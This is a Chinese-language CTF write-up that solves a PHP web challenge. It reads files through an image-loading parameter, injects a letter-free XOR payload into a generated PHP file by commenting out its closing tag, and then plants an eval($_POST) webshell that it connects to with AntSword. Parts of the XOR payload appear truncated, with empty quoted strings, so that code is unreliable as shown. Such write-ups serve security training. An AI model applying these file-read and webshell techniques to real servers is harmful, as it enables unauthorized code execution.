思考
一般url头中无中生有的参数都是我们可能利用的点,源码中我们首先需要找到危险函数,让我们有读写的权限的一般都很危险,还需要找到我们能够控制的参数,然后再看我们控制参数最后的位置,然后闭合思想也是非常重要的
进入题目就是登录和注册页面,怀疑是sql漏洞,但是这种我们一般是先注册登录进去看看,登录进去后发现
然后我们随便点一点,这种就是要找特别的东西,毫无疑问最特别的就是
然后我们这时候我们就要好好分析这个,图片?我们打开看看,发现是一堆base64编码,我们去解码发现就是一个文件路径,稍微敏感一点就怀疑是不是有任意文件读取漏洞,我们仔细分析,f12发现这个文件的url头是http://node4.anna.nssctf.cn:28530/get_pic.php?image=img/haokangde.png,那其实很明显了,可以读文件,我们读查看get_pic.php
http://1.14.71.254:28358/get_pic.php?image=get_pic.php
进行base64解码
<?php error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
读取index.php(下面是把前端代码删除之后的结果)
http://1.14.71.254:28358/get_pic.php?image=index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
然后是template.html内容
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
<li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text">图片
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
<div class="text">游戏
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text"><b>好康的</b>
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
<div class="text"><b>你的网站</b>
开始分析,很明显的点就是利用file_put_contents函数写shell,文件名知道,主要是文件内容,所以得分析$contents,content内容取决于
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
很容易可以排除user参数,有长度限制,六个字符,不好写,
website,长度限制25,这里是可以写shell的,过滤了一些符号
punctuation可以说没有长度限制,但是过滤了大小写字母
我们思路已经出来了,通过punctuation写shell,无字母rce
我们写入的无字母rce必须当成php代码执行,但是我们通过template.html发现只有user和pass才是在php代码部分,而<a href="#" class="powered_by">__PUNC__</a>
在html部分,不会以php代码执行,所以就无效,我们自己加呗,但是又过滤了<?,自己不能加,只能使用别人的了,观察页面,因为我们的优势是很多参数是可控的,我们想到注释符,把后面?>注释掉,让后面的内容都为php代码,具体大概是
<?php
$user = ((string)/*);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">*/*</a>
<ul id="deskIcon">
......
可以看到,我们直接把里面的?>给注释了,那么下面所有的html代码都将包裹在php环境中被解释。但是由于上面可以看见$user=((string)的转换函数还在,所以需要先添加内容后再闭合,否则页面将报错,包括后面的html代码通通需要注释,最后大概变成下面这种形式,我们的pass最好不要输入内容,可能影响shell
shell构造的方法很多,借鉴p神的一个
所以我们最终传入POST
user=1)/&pass=aa&website=&punctuation=/;$_=('%01'^'').('%13'^'
').('%13'^'').('%05'^'
').('%12'^'').('%14'^'
');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*
然后我们登录进去再抓包
然后输入命令找flag,打死自己的都不行,别人的都ok
看别人的解释是抓包可以查看到内容,但是在网页上被报错挡住了
由于不好看,且没有禁file_put_contents()
所以可以再写一个马
POST: _=file_put_contents('shell.php','<?php eval($_POST[1]);?>');
然后蚁剑连接这个文件,得到flag
哇!道格大佬带带我。。